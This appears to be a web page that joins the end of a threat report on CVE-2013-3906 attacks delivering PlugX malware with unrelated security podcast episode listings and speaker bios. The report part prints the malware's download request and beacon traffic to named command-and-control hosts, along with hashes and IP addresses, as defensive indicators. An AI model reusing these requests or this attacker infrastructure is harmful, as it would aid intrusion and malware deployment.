  • ZipModifyDate           : 2013:10:17 14:21:23

After exploitation, there is a connection to auto.bacguarp.com (210.56.63.38) that downloads a PlugX executable:

GET /css/css.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2)

Host: auto.bacguarp.com

The malware (423eaeff2a4576365343e6dc35d22042) begins to beacon to web.bacguarp.com and web.zuesinfo.com, which both resolve to 210.56.63.60. The callback of the PlugX samples is:

POST /8A8DAEE657205D651405D7CD HTTP/1.1

Accept: */*

FZLK1: 0

FZLK2: 0

FZLK3: 61456

FZLK4: 1

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: web.bacguarp.com

Content-Length: 0

Connection: Keep-Alive

Cache-Control: no-cache

Conclusion

An increasing number of threat groups now have access to CVE-2013-3906. These threat groups include those that use the Taidoor and PlugX malware families to conduct targeted attacks. We expect this exploit to continue to proliferate among threat groups engaged in APT activity.

Notes

1.  The MD5 hashes for Arx group samples that dropped Napolar are:  5e4b83fd11050075a2d4913e6d81e553  and f6c788916cf6fafa202494658e0fe4ae. The CnC server was: www.gagadude.biz / 176.119.2.90

Somebody’s Watching: The Future of Privacy – Episode 350, Part 6 – October 25, 2013

Robert Graham is the co-founder and CTO of Errata Security, a firm specializing in cybersecurity consulting and product verification. Mr. Graham learned hacking as a toddler from his grandfather, a World War II codebreaker. His first IDS was written more than 10 years ago designed to catch Morris-worm copycats.

Dan Auerbach is a Staff Technologist who is passionate about defending civil liberties and encouraging government transparency. Dan works on EFF's various technical projects and helps lawyers, activists, and the public understand important technologies that might threaten the privacy or security of users.

Corey Thuen is co-founder of Southfork Security, a security services company specializing in ICS. Corey recently found out first-hand how fragile privacy can be when a large corporation decides to sue you over your open source software.

Military Veterans in Information Security – Episode 350, Part 5 – October 25, 2013

Nik Seetharaman is a consultant for a government client in the DC area. He spent 11 years in the United States Air Force where he served in the intelligence and joint special operations communities.

Nate Kenyon (@L2Nate) spent 5 years in the Marine Corps doing everything from pulling cable to configuring routers and switches. After leaving the USMC he worked for several defense contractors working with the US Navy and Defense Logistics Agency doing firewall, IPS and network configurations. He currently works for a large corporation working on wired and wireless intrusion detection systems and security product evaluations.

Michael Farnum has worked with computers since he got a Kaypro II and an Apple IIc during his middle school years. Michael served in the US Army, where he drove, loaded, and gunned on the mighty M1A1 Abrams main battle tank (which is where he got his "m1a1vet" handle).

Dave Kennedy worked for the United States Marine Corps and deployed to Iraq twice for intelligence related missions. He also holds the World Record for most hugs given at a conference and is founder and principal security consultant of TrustedSec - An information security consulting firm located in Cleveland Ohio.

RazorEQX is a A CEH, OSCP certified Security professional with over 25 years’ experience and a proven leadership track record. Experience in most aspects of Information Technology, in a wide range of industries and disciplines; specializing in in-depth Malware, intelligence collaboration the past 4 years.

Sno0ose (@Sno0ose) served as Combat medic for a combat aviation unit. Was wounded overseas during a 1 year tour of duty. Now a consultant with focus on incident response, vulnerability assessment, reverse-engineering malware, and penetration testing. Co-host of Grumpysec, and lead coordinator of BSidesMSP.

Interview with Jayson Street, Interview with Kevin Finisterre – Episode 350, Part 4 – October 25, 2013

Jayson E. Street is an author of “Dissecting the hack: The F0rb1dd3n Network” from Syngress. He has also spoken at DEFCON, DerbyCon, UCON and at several other ‘CONs and colleges on a variety of Information Security subjects. His life story can be found on Google under “Jayson E. Street.” He is a highly carbonated speaker who has partaken of Pizza from Beijing to Brazil. He does not expect anybody to still be reading this far but if they are please note he was chosen as one of Time’s persons of the year for 2006. ;)

Kevin Finisterre is a Senior Research Consultant with Accuvant, has hacked everything from utilities providers to police cars and is keen on disseminating information relating to the identification and exploitation of software vulnerabilities on many platforms.

Java Whitelisting, Honeynet Project, HTTP Comments Displayer – Episode 350, Part 3 – October 25, 2013

As with most sizable organizations it is near impossible to uninstall or completely disable Java which sent us on a hunt for a feasible way to contain Java based attacks. What we came up with was restricting it to run only in trusted zones. This worked for APPLET tags when encountered in IE.

What this does is block any applet from running if it is not part of a trusted internet zone. First thing is to identify all the internal trusted zones and add them. Next allow the user to trust their own zones. Most of the time it seemed they knew when there was an applet they wanted to run.

The Honeynet Project is a lnon-profit security research organization, dedicated to investigating the latest attacks and developing open source security tools to improve Internet security. With Chapters around the world, our volunteers have contributed to fight again malware (such as Confickr), discovering new attacks and creating security tools used by businesses and government agencies all over the world. The organization continues to be on the cutting edge of security research by working to analyze the latest attacks and educating the public about threats to information systems across the world.

Why would use use HTTP Comments displayer? This nmap script makes use of patterns to extract HTML comments from HTTP responses. There are times sensitive information may be present within these comments. While this does not necessarily represent a breach in security, this information can be leveraged by an attacker for exploitation.